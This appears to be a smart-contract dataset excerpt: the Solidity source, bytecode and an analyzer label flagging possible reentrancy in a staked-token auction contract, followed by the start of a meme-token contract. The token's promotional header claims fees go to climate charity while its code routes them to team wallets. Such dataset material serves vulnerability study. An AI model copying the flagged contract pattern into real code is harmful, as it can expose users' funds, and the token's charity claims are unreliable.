uint256 constant ONE = 1.00E18; // [wad]
// Minimum bid increase compared to the last bid in order to take the new one in consideration
uint256 public bidIncrease = 1.05E18; // [wad]
// Decrease in the min bid in case no one bid before
uint256 public minBidDecrease = 0.95E18; // [wad]
// The lowest possible value for the minimum bid
uint256 public minBid = 1; // [rad]
// How long the auction lasts after a new bid is submitted
uint48 public bidDuration = 3 hours; // [seconds]
// Total length of the auction
uint48 public totalAuctionLength = 2 days; // [seconds]
// Number of auctions started up until now
uint256 public auctionsStarted = 0;
// Accumulator for all debt auctions currently not settled
uint256 public activeStakedTokenAuctions;
// Flag that indicates whether the contract is still enabled or not
uint256 public contractEnabled;
bytes32 public constant AUCTION_HOUSE_TYPE = bytes32("STAKED_TOKEN");
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event StartAuction(
uint256 indexed id,
uint256 auctionsStarted,
uint256 amountToSell,
uint256 amountToBid,
address indexed incomeReceiver,
uint256 indexed auctionDeadline,
uint256 activeStakedTokenAuctions
);
event ModifyParameters(bytes32 parameter, uint256 data);
event ModifyParameters(bytes32 parameter, address data);
event RestartAuction(uint256 indexed id, uint256 minBid, uint256 auctionDeadline);
event IncreaseBidSize(uint256 id, address highBidder, uint256 amountToBuy, uint256 bid, uint256 bidExpiry);
event SettleAuction(uint256 indexed id, uint256 bid);
event TerminateAuctionPrematurely(uint256 indexed id, address sender, address highBidder, uint256 bidAmount, uint256 activeStakedTokenAuctions);
event DisableContract(address sender);
// --- Init ---
constructor(address safeEngine_, address stakedToken_) public {
require(safeEngine_ != address(0x0), "StakedTokenAuctionHouse/invalid_safe_engine");
require(stakedToken_ != address(0x0), "StakedTokenAuctionHouse/invalid_token");
authorizedAccounts[msg.sender] = 1;
safeEngine = SAFEEngineLike(safeEngine_);
stakedToken = TokenLike(stakedToken_);
contractEnabled = 1;
emit AddAuthorization(msg.sender);
}
// --- Boolean Logic ---
function both(bool x, bool y) internal pure returns (bool z) {
assembly{ z := and(x, y)}
}
function either(bool x, bool y) internal pure returns (bool z) {
assembly{ z := or(x, y)}
}
// --- Math ---
function addUint48(uint48 x, uint48 y) internal pure returns (uint48 z) {
require((z = x + y) >= x, "StakedTokenAuctionHouse/add-uint48-overflow");
}
function addUint256(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "StakedTokenAuctionHouse/add-uint256-overflow");
}
function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "StakedTokenAuctionHouse/sub-underflow");
}
function multiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "StakedTokenAuctionHouse/mul-overflow");
}
function minimum(uint256 x, uint256 y) internal pure returns (uint256 z) {
if (x > y) { z = y; } else { z = x; }
}
// --- Admin ---
/**
* @notice Modify auction parameters
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {
require(data > 0, "StakedTokenAuctionHouse/null-data");
require(contractEnabled == 1, "StakedTokenAuctionHouse/contract-not-enabled");
if (parameter == "bidIncrease") {
require(data > ONE, "StakedTokenAuctionHouse/invalid-bid-increase");
bidIncrease = data;
}
else if (parameter == "bidDuration") bidDuration = uint48(data);
else if (parameter == "totalAuctionLength") totalAuctionLength = uint48(data);
else if (parameter == "minBidDecrease") {
require(data < ONE, "StakedTokenAuctionHouse/invalid-min-bid-decrease");
minBidDecrease = data;
}
else if (parameter == "minBid") {
minBid = data;
}
else revert("StakedTokenAuctionHouse/modify-unrecognized-param");
emit ModifyParameters(parameter, data);
}
/**
* @notice Modify an address parameter
* @param parameter The name of the oracle contract modified
* @param addr New contract address
*/
function modifyParameters(bytes32 parameter, address addr) external isAuthorized {
require(addr != address(0), "StakedTokenAuctionHouse/null-addr");
require(contractEnabled == 1, "StakedTokenAuctionHouse/contract-not-enabled");
if (parameter == "accountingEngine") accountingEngine = addr;
else if (parameter == "tokenBurner") tokenBurner = addr;
else revert("StakedTokenAuctionHouse/modify-unrecognized-param");
emit ModifyParameters(parameter, addr);
}
// --- Auction ---
/**
* @notice Start a new staked token auction
* @param amountToSell Amount of staked tokens to sell (wad)
*/
function startAuction(
uint256 amountToSell,
uint256 systemCoinsRequested
) external isAuthorized returns (uint256 id) {
require(contractEnabled == 1, "StakedTokenAuctionHouse/contract-not-enabled");
require(auctionsStarted < uint256(-1), "StakedTokenAuctionHouse/overflow");
require(accountingEngine != address(0), "StakedTokenAuctionHouse/null-accounting-engine");
require(both(amountToSell > 0, systemCoinsRequested > 0), "StakedTokenAuctionHouse/null-amounts");
require(systemCoinsRequested <= uint256(-1) / ONE, "StakedTokenAuctionHouse/large-sys-coin-request");
id = ++auctionsStarted;
bids[id].amountToSell = amountToSell;
bids[id].bidAmount = systemCoinsRequested;
bids[id].highBidder = address(0);
bids[id].auctionDeadline = addUint48(uint48(now), totalAuctionLength);
activeStakedTokenAuctions = addUint256(activeStakedTokenAuctions, 1);
// get staked tokens
require(stakedToken.transferFrom(msg.sender, address(this), amountToSell), "StakedTokenAuctionHouse/cannot-transfer-staked-tokens");
emit StartAuction(
id, auctionsStarted, amountToSell, systemCoinsRequested, accountingEngine, bids[id].auctionDeadline, activeStakedTokenAuctions
);
}
/**
* @notice Restart an auction if no bids were submitted for it
* @param id ID of the auction to restart
*/
function restartAuction(uint256 id) external {
require(id <= auctionsStarted, "StakedTokenAuctionHouse/auction-never-started");
require(bids[id].auctionDeadline < now, "StakedTokenAuctionHouse/not-finished");
require(bids[id].bidExpiry == 0, "StakedTokenAuctionHouse/bid-already-placed");
uint256 newMinBid = multiply(minBidDecrease, bids[id].bidAmount) / ONE;
newMinBid = (newMinBid < minBid) ? minBid : newMinBid;
bids[id].bidAmount = newMinBid;
bids[id].auctionDeadline = addUint48(uint48(now), totalAuctionLength);
emit RestartAuction(id, newMinBid, bids[id].auctionDeadline);
}
/**
* @notice Submit a higher system coin bid for the same amount of staked tokens
* @param id ID of the auction you want to submit the bid for
* @param amountToBuy Amount of staked tokens to buy (wad)
* @param bid New bid submitted (rad)
*/
function increaseBidSize(uint256 id, uint256 amountToBuy, uint256 bid) external {
require(contractEnabled == 1, "StakedTokenAuctionHouse/contract-not-enabled");
require(bids[id].bidExpiry > now || bids[id].bidExpiry == 0, "StakedTokenAuctionHouse/bid-already-expired");
require(bids[id].auctionDeadline > now, "StakedTokenAuctionHouse/auction-already-expired");
require(amountToBuy == bids[id].amountToSell, "StakedTokenAuctionHouse/not-matching-amount-bought");
require(bid > bids[id].bidAmount, "StakedTokenAuctionHouse/bid-not-higher");
require(multiply(bid, ONE) > multiply(bidIncrease, bids[id].bidAmount), "StakedTokenAuctionHouse/insufficient-increase");
if (bids[id].highBidder == msg.sender) {
safeEngine.transferInternalCoins(msg.sender, address(this), subtract(bid, bids[id].bidAmount));
} else {
safeEngine.transferInternalCoins(msg.sender, address(this), bid);
if (bids[id].highBidder != address(0)) // not first bid
safeEngine.transferInternalCoins(address(this), bids[id].highBidder, bids[id].bidAmount);
bids[id].highBidder = msg.sender;
}
bids[id].bidAmount = bid;
bids[id].bidExpiry = addUint48(uint48(now), bidDuration);
emit IncreaseBidSize(id, msg.sender, amountToBuy, bid, bids[id].bidExpiry);
}
/**
* @notice Settle/finish an auction
* @param id ID of the auction to settle
*/
function settleAuction(uint256 id) external {
require(contractEnabled == 1, "StakedTokenAuctionHouse/not-live");
require(both(bids[id].bidExpiry != 0, either(bids[id].bidExpiry < now, bids[id].auctionDeadline < now)), "StakedTokenAuctionHouse/not-finished");
// get the bid, the amount to sell and the high bidder
uint256 bid = bids[id].bidAmount;
uint256 amountToSell = bids[id].amountToSell;
address highBidder = bids[id].highBidder;
// clear storage
activeStakedTokenAuctions = subtract(activeStakedTokenAuctions, 1);
delete bids[id];
// transfer the surplus to the accounting engine
safeEngine.transferInternalCoins(address(this), accountingEngine, bid);
// clear as much bad debt as possible
uint256 totalOnAuctionDebt = AccountingEngineLike(accountingEngine).totalOnAuctionDebt();
AccountingEngineLike(accountingEngine).cancelAuctionedDebtWithSurplus(minimum(bid, totalOnAuctionDebt));
// transfer staked tokens to the high bidder
require(stakedToken.transfer(highBidder, amountToSell), "StakedTokenAuctionHouse/failed-transfer");
emit SettleAuction(id, activeStakedTokenAuctions);
}
// --- Shutdown ---
/**
* @notice Disable the auction house
*/
function disableContract() external isAuthorized {
contractEnabled = 0;
emit DisableContract(msg.sender);
}
/**
* @notice Terminate an auction prematurely
* @param id ID of the auction to terminate
*/
function terminateAuctionPrematurely(uint256 id) external {
require(contractEnabled == 0, "StakedTokenAuctionHouse/contract-still-enabled");
require(bids[id].highBidder != address(0), "StakedTokenAuctionHouse/high-bidder-not-set");
// decrease amount of active auctions
activeStakedTokenAuctions = subtract(activeStakedTokenAuctions, 1);
// send the system coin bid back to the high bidder in case there was at least one bid
safeEngine.transferInternalCoins(address(this), bids[id].highBidder, bids[id].bidAmount);
// send the staked tokens to the token burner
require(stakedToken.transfer(tokenBurner, bids[id].amountToSell), "StakedTokenAuctionHouse/failed-transfer");
emit TerminateAuctionPrematurely(id, msg.sender, bids[id].highBidder, bids[id].bidAmount, activeStakedTokenAuctions);
delete bids[id];
}
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80635a93f031116100de57806394f3f81d11610097578063d25ccf5311610071578063d25ccf53146103a2578063f5897a52146103bf578063f6b45eb7146103c7578063fe4f5890146103cf57610173565b806394f3f81d1461036c578063961d45c414610392578063cc7a262e1461039a57610173565b80635a93f031146102c75780636614f010146102f057806367aea3131461031c57806373c0a36714610324578063894ba83314610347578063933f76081461034f57610173565b806335b281531161013057806335b281531461020b5780633e109a191461023157806341b3a0d9146102395780634423c5f1146102415780634fee13fc1461029c578063551cb3b1146102bf57610173565b806305ed95a2146101785780630ac239e5146101925780631266fb941461019a57806324ba5884146101a25780632996f972146101c85780632e993611146101ec575b600080fd5b6101806103f2565b60408051918252519081900360200190f35b6101806103f8565b6101806103fe565b610180600480360360208110156101b857600080fd5b50356001600160a01b0316610411565b6101d0610423565b604080516001600160a01b039092168252519081900360200190f35b6102096004803603602081101561020257600080fd5b5035610432565b005b6102096004803603602081101561022157600080fd5b50356001600160a01b03166107be565b61018061085e565b610180610864565b61025e6004803603602081101561025757600080fd5b503561086a565b6040805195865260208601949094526001600160a01b039092168484015265ffffffffffff9081166060850152166080830152519081900360a00190f35b610180600480360360408110156102b257600080fd5b50803590602001356108ae565b610180610c63565b610209600480360360608110156102dd57600080fd5b5080359060208101359060400135610c69565b6102096004803603604081101561030657600080fd5b50803590602001356001600160a01b0316611163565b6101d0611326565b61032c611335565b6040805165ffffffffffff9092168252519081900360200190f35b61020961134a565b6102096004803603602081101561036557600080fd5b50356113d2565b6102096004803603602081101561038257600080fd5b50356001600160a01b031661165b565b6101d06116fa565b6101d0611709565b610209600480360360208110156103b857600080fd5b5035611718565b610180611903565b61032c611909565b610209600480360360408110156103e557600080fd5b5080359060200135611917565b60075481565b60065481565b6b29aa20a5a2a22faa27a5a2a760a11b81565b60006020819052908152604090205481565b6005546001600160a01b031681565b600c54600114610489576040805162461bcd60e51b815260206004820181905260248201527f5374616b6564546f6b656e41756374696f6e486f7573652f6e6f742d6c697665604482015290519081900360640190fd5b6000818152600160205260409020600201546104d09065ffffffffffff600160a01b82048116801515926104cb924292831192600160d01b9092041610611b85565b611b89565b61050b5760405162461bcd60e51b8152600401808060200182810382526024815260200180611d486024913960400191505060405180910390fd5b6000818152600160208190526040909120805481830154600290920154600b5491936001600160a01b039091169161054291611b8d565b600b55600084815260016020819052604080832083815591820183905560029182018390559054600480548351633beaf2b760e21b815230928101929092526001600160a01b039081166024830152604482018890529251929091169263efabcadc9260648084019382900301818387803b1580156105c057600080fd5b505af11580156105d4573d6000803e3d6000fd5b505050506000600460009054906101000a90046001600160a01b03166001600160a01b0316630f44d6bd6040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561062a57600080fd5b505af115801561063e573d6000803e3d6000fd5b505050506040513d602081101561065457600080fd5b50516004549091506001600160a01b0316633dc4ab1d6106748684611bd5565b6040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156106aa57600080fd5b505af11580156106be573d6000803e3d6000fd5b50506003546040805163a9059cbb60e01b81526001600160a01b03878116600483015260248201899052915191909216935063a9059cbb925060448083019260209291908290030181600087803b15801561071857600080fd5b505af115801561072c573d6000803e3d6000fd5b505050506040513d602081101561074257600080fd5b505161077f5760405162461bcd60e51b8152600401808060200182810382526027815260200180611f9d6027913960400191505060405180910390fd5b600b54604080519182525186917fef063949eb6ef5abef19139d9c75a558424ffa759302cfe445f8d2d327376fe4919081900360200190a25050505050565b3360009081526020819052604090205460011461080c5760405162461bcd60e51b815260040180806020018281038252602e815260200180611cf4602e913960400191505060405180910390fd5b6001600160a01b0381166000818152602081815260409182902060019055815192835290517f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f70001029281900390910190a150565b60085481565b600c5481565b60016020819052600091825260409091208054918101546002909101546001600160a01b0381169065ffffffffffff600160a01b8204811691600160d01b90041685565b336000908152602081905260408120546001146108fc5760405162461bcd60e51b815260040180806020018281038252602e815260200180611cf4602e913960400191505060405180910390fd5b600c5460011461093d5760405162461bcd60e51b815260040180806020018281038252602c815260200180611f45602c913960400191505060405180910390fd5b600019600a5410610995576040805162461bcd60e51b815260206004820181905260248201527f5374616b6564546f6b656e41756374696f6e486f7573652f6f766572666c6f77604482015290519081900360640190fd5b6004546001600160a01b03166109dc5760405162461bcd60e51b815260040180806020018281038252602e815260200180611e67602e913960400191505060405180910390fd5b6109ec6000841160008411611b89565b610a275760405162461bcd60e51b8152600401808060200182810382526024815260200180611e436024913960400191505060405180910390fd5b7812725dd1d243aba0e75fe645cc4873f9e65afe688c928e1f21821115610a7f5760405162461bcd60e51b815260040180806020018281038252602e815260200180611ef3602e913960400191505060405180910390fd5b50600a8054600190810191829055600082815260208290526040902090810184905582815560020180546001600160a01b0319169055600954610ad2904290600160301b900465ffffffffffff16611bed565b60016000838152602001908152602001600020600201601a6101000a81548165ffffffffffff021916908365ffffffffffff160217905550610b17600b546001611c3a565b600b55600354604080516323b872dd60e01b81523360048201523060248201526044810186905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610b7457600080fd5b505af1158015610b88573d6000803e3d6000fd5b505050506040513d6020811015610b9e57600080fd5b5051610bdb5760405162461bcd60e51b81526004018080602001828103825260358152602001806120aa6035913960400191505060405180910390fd5b60008181526001602090815260409182902060020154600454600a54600b54855191825293810188905280850187905260608101939093529251600160d01b90910465ffffffffffff16926001600160a01b03169184917f9102bd0b66dcb83f469f1122a583dc797657b114141460c59230fc1b41f48229916080908290030190a492915050565b600a5481565b600c54600114610caa5760405162461bcd60e51b815260040180806020018281038252602c815260200180611f45602c913960400191505060405180910390fd5b60008381526001602052604090206002015442600160a01b90910465ffffffffffff161180610cf75750600083815260016020526040902060020154600160a01b900465ffffffffffff16155b610d325760405162461bcd60e51b815260040180806020018281038252602b815260200180612100602b913960400191505060405180910390fd5b60008381526001602052604090206002015442600160d01b90910465ffffffffffff1611610d915760405162461bcd60e51b815260040180806020018281038252602f815260200180612019602f913960400191505060405180910390fd5b600083815260016020819052604090912001548214610de15760405162461bcd60e51b81526004018080602001828103825260328152602001806120486032913960400191505060405180910390fd5b6000838152600160205260409020548111610e2d5760405162461bcd60e51b8152600401808060200182810382526026815260200180611d226026913960400191505060405180910390fd5b600654600084815260016020526040902054610e499190611c7c565b610e5b82670de0b6b3a7640000611c7c565b11610e975760405162461bcd60e51b815260040180806020018281038252602d815260200180611ec6602d913960400191505060405180910390fd5b6000838152600160205260409020600201546001600160a01b0316331415610f71576002546000848152600160205260409020546001600160a01b039091169063efabcadc9033903090610eec908690611b8d565b6040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b03168152602001836001600160a01b03166001600160a01b031681526020018281526020019350505050600060405180830381600087803b158015610f5457600080fd5b505af1158015610f68573d6000803e3d6000fd5b505050506110ab565b60025460408051633beaf2b760e21b81523360048201523060248201526044810184905290516001600160a01b039092169163efabcadc9160648082019260009290919082900301818387803b158015610fca57600080fd5b505af1158015610fde573d6000803e3d6000fd5b5050506000848152600160205260409020600201546001600160a01b031615905061108957600280546000858152600160205260408082209384015493548151633beaf2b760e21b81523060048201526001600160a01b03958616602482015260448101919091529051939092169263efabcadc92606480820193929182900301818387803b15801561107057600080fd5b505af1158015611084573d6000803e3d6000fd5b505050505b600083815260016020526040902060020180546001600160a01b031916331790555b60008381526001602052604090208190556009546110d290429065ffffffffffff16611bed565b600084815260016020908152604091829020600201805465ffffffffffff60a01b1916600160a01b65ffffffffffff95861681029190911791829055835188815233938101939093528284018790526060830186905290049092166080830152517fd87c815d5a67c2e130ad04b714d87a6fb69d5a6df0dbb0f1639cd9fe292201f99160a0908290030190a1505050565b336000908152602081905260409020546001146111b15760405162461bcd60e51b815260040180806020018281038252602e815260200180611cf4602e913960400191505060405180910390fd5b6001600160a01b0381166111f65760405162461bcd60e51b81526004018080602001828103825260218152602001806120df6021913960400191505060405180910390fd5b600c546001146112375760405162461bcd60e51b815260040180806020018281038252602c815260200180611f45602c913960400191505060405180910390fd5b816f6163636f756e74696e67456e67696e6560801b141561127257600480546001600160a01b0319166001600160a01b0383161790556112df565b816a3a37b5b2b7213ab93732b960a91b14156112a857600580546001600160a01b0319166001600160a01b0383161790556112df565b60405162461bcd60e51b8152600401808060200182810382526031815260200180611e956031913960400191505060405180910390fd5b604080518381526001600160a01b038316602082015281517fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d1929181900390910190a15050565b6002546001600160a01b031681565b600954600160301b900465ffffffffffff1681565b336000908152602081905260409020546001146113985760405162461bcd60e51b815260040180806020018281038252602e815260200180611cf4602e913960400191505060405180910390fd5b6000600c556040805133815290517f8232b6f6b40c9c98ad4c93e3a92cd021a28ddf6b027b80717ab32eced1469a1d9181900360200190a1565b600c54156114115760405162461bcd60e51b815260040180806020018281038252602e815260200180611de8602e913960400191505060405180910390fd5b6000818152600160205260409020600201546001600160a01b03166114675760405162461bcd60e51b815260040180806020018281038252602b815260200180611d98602b913960400191505060405180910390fd5b611474600b546001611b8d565b600b55600280546000838152600160205260408082209384015493548151633beaf2b760e21b81523060048201526001600160a01b03958616602482015260448101919091529051939092169263efabcadc92606480820193929182900301818387803b1580156114e457600080fd5b505af11580156114f8573d6000803e3d6000fd5b5050600354600554600085815260016020818152604080842090920154825163a9059cbb60e01b81526001600160a01b0395861660048201526024810191909152915193909416955063a9059cbb94506044808201949392918390030190829087803b15801561156757600080fd5b505af115801561157b573d6000803e3d6000fd5b505050506040513d602081101561159157600080fd5b50516115ce5760405162461bcd60e51b8152600401808060200182810382526027815260200180611f9d6027913960400191505060405180910390fd5b60008181526001602090815260409182902060028101549054600b5484513381526001600160a01b0390931693830193909352818401526060810191909152905182917fb44e0a3b14eb47d78f0e8862fef549e98212558fd69c690d2fe3a7780bcd6f19919081900360800190a26000908152600160208190526040822082815590810182905560020155565b336000908152602081905260409020546001146116a95760405162461bcd60e51b815260040180806020018281038252602e815260200180611cf4602e913960400191505060405180910390fd5b6001600160a01b03811660008181526020818152604080832092909255815192835290517f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b9039281900390910190a150565b6004546001600160a01b031681565b6003546001600160a01b031681565b600a548111156117595760405162461bcd60e51b815260040180806020018281038252602d815260200180611e16602d913960400191505060405180910390fd5b60008181526001602052604090206002015442600160d01b90910465ffffffffffff16106117b85760405162461bcd60e51b8152600401808060200182810382526024815260200180611d486024913960400191505060405180910390fd5b600081815260016020526040902060020154600160a01b900465ffffffffffff16156118155760405162461bcd60e51b815260040180806020018281038252602a815260200180611fef602a913960400191505060405180910390fd5b6007546000828152600160205260408120549091670de0b6b3a76400009161183d9190611c7c565b8161184457fe5b0490506008548110611856578061185a565b6008545b600083815260016020526040902081905560095490915061188b904290600160301b900465ffffffffffff16611bed565b60008381526001602090815260409182902060020180546001600160d01b0316600160d01b65ffffffffffff958616810291909117918290558351868152910490931690830152805184927f52926b7e2fb12434af05e0b5e28d2b857fc6a23d92f7d7b8ebc6ec6b0fb4419e92908290030190a25050565b600b5481565b60095465ffffffffffff1681565b336000908152602081905260409020546001146119655760405162461bcd60e51b815260040180806020018281038252602e815260200180611cf4602e913960400191505060405180910390fd5b600081116119a45760405162461bcd60e51b8152600401808060200182810382526021815260200180611cd36021913960400191505060405180910390fd5b600c546001146119e55760405162461bcd60e51b815260040180806020018281038252602c815260200180611f45602c913960400191505060405180910390fd5b816a626964496e63726561736560a81b1415611a4b57670de0b6b3a76400008111611a415760405162461bcd60e51b815260040180806020018281038252602c815260200180611d6c602c913960400191505060405180910390fd5b6006819055611b46565b816a3134b2223ab930ba34b7b760a91b1415611a7f576009805465ffffffffffff191665ffffffffffff8316179055611b46565b81710e8dee8c2d882eac6e8d2dedc98cadccee8d60731b1415611ac657600980546bffffffffffff0000000000001916600160301b65ffffffffffff841602179055611b46565b816d6d696e426964446563726561736560901b1415611b2f57670de0b6b3a76400008110611b255760405162461bcd60e51b815260040180806020018281038252603081526020018061207a6030913960400191505060405180910390fd5b6007819055611b46565b81651b5a5b909a5960d21b14156112a85760088190555b604080518381526020810183905281517fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a929181900390910190a15050565b1790565b1690565b80820382811115611bcf5760405162461bcd60e51b8152600401808060200182810382526025815260200180611dc36025913960400191505060405180910390fd5b92915050565b600081831115611be6575080611bcf565b5090919050565b80820165ffffffffffff8084169082161015611bcf5760405162461bcd60e51b815260040180806020018281038252602b815260200180611fc4602b913960400191505060405180910390fd5b80820182811015611bcf5760405162461bcd60e51b815260040180806020018281038252602c815260200180611f71602c913960400191505060405180910390fd5b6000811580611c9757505080820282828281611c9457fe5b04145b611bcf5760405162461bcd60e51b8152600401808060200182810382526024815260200180611f216024913960400191505060405180910390fdfe5374616b6564546f6b656e41756374696f6e486f7573652f6e756c6c2d646174615374616b6564546f6b656e41756374696f6e486f7573652f6163636f756e742d6e6f742d617574686f72697a65645374616b6564546f6b656e41756374696f6e486f7573652f6269642d6e6f742d6869676865725374616b6564546f6b656e41756374696f6e486f7573652f6e6f742d66696e69736865645374616b6564546f6b656e41756374696f6e486f7573652f696e76616c69642d6269642d696e6372656173655374616b6564546f6b656e41756374696f6e486f7573652f686967682d6269646465722d6e6f742d7365745374616b6564546f6b656e41756374696f6e486f7573652f7375622d756e646572666c6f775374616b6564546f6b656e41756374696f6e486f7573652f636f6e74726163742d7374696c6c2d656e61626c65645374616b6564546f6b656e41756374696f6e486f7573652f61756374696f6e2d6e657665722d737461727465645374616b6564546f6b656e41756374696f6e486f7573652f6e756c6c2d616d6f756e74735374616b6564546f6b656e41756374696f6e486f7573652f6e756c6c2d6163636f756e74696e672d656e67696e655374616b6564546f6b656e41756374696f6e486f7573652f6d6f646966792d756e7265636f676e697a65642d706172616d5374616b6564546f6b656e41756374696f6e486f7573652f696e73756666696369656e742d696e6372656173655374616b6564546f6b656e41756374696f6e486f7573652f6c617267652d7379732d636f696e2d726571756573745374616b6564546f6b656e41756374696f6e486f7573652f6d756c2d6f766572666c6f775374616b6564546f6b656e41756374696f6e486f7573652f636f6e74726163742d6e6f742d656e61626c65645374616b6564546f6b656e41756374696f6e486f7573652f6164642d75696e743235362d6f766572666c6f775374616b6564546f6b656e41756374696f6e486f7573652f6661696c65642d7472616e736665725374616b6564546f6b656e41756374696f6e486f7573652f6164642d75696e7434382d6f766572666c6f775374616b6564546f6b656e41756374696f6e486f7573652f6269642d616c72656164792d706c616365645374616b6564546f6b656e41756374696f6e486f7573652f61756374696f6e2d616c72656164792d657870697265645374616b6564546f6b656e41756374696f6e486f7573652f6e6f742d6d61746368696e672d616d6f756e742d626f756768745374616b6564546f6b656e41756374696f6e486f7573652f696e76616c69642d6d696e2d6269642d64656372656173655374616b6564546f6b656e41756374696f6e486f7573652f63616e6e6f742d7472616e736665722d7374616b65642d746f6b656e735374616b6564546f6b656e41756374696f6e486f7573652f6e756c6c2d616464725374616b6564546f6b656e41756374696f6e486f7573652f6269642d616c72656164792d65787069726564a2646970667358221220a55bf902720acc8278a3f2bfeac02b1b2ebc2ea21aabb1faec8cdfe68347006a64736f6c63430006070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 2,647 |
0xA176DeFE1A9C73ff8b9aAFd0E096720A258f535a
|
/**
🌏 Cop26 Token 🌏
Because of the us, the earth is going to die and we are extinct our species.
The world leaders gathered in the #COP26 but they will not save us, they are just gathered and spend two weeks celebrating everything as usual and blah blah blah.
We need to change the world with our hands. This is the meme-token community for saving the world.
Do everything that you can do and we will donate the fee to the climate related charity. Let's save the world!
👉 https://t.me/cop26token
👉 https://twitter.com/Cop26Token
/**
*
*
*
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Cop26Inu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private constant _totalFee = 12;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Cop26 Inu";
string private constant _symbol = unicode"COP26";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 11;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private _noTaxMode = false;
bool private inSwap = false;
uint256 private walletLimitDuration;
struct User {
uint256 buyCD;
bool exists;
}
event MaxBuyAmountUpdated(uint256 _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint256 _multiplier);
event FeeRateUpdated(uint256 _rate);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor(
address payable FeeAddress,
address payable marketingWalletAddress
) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
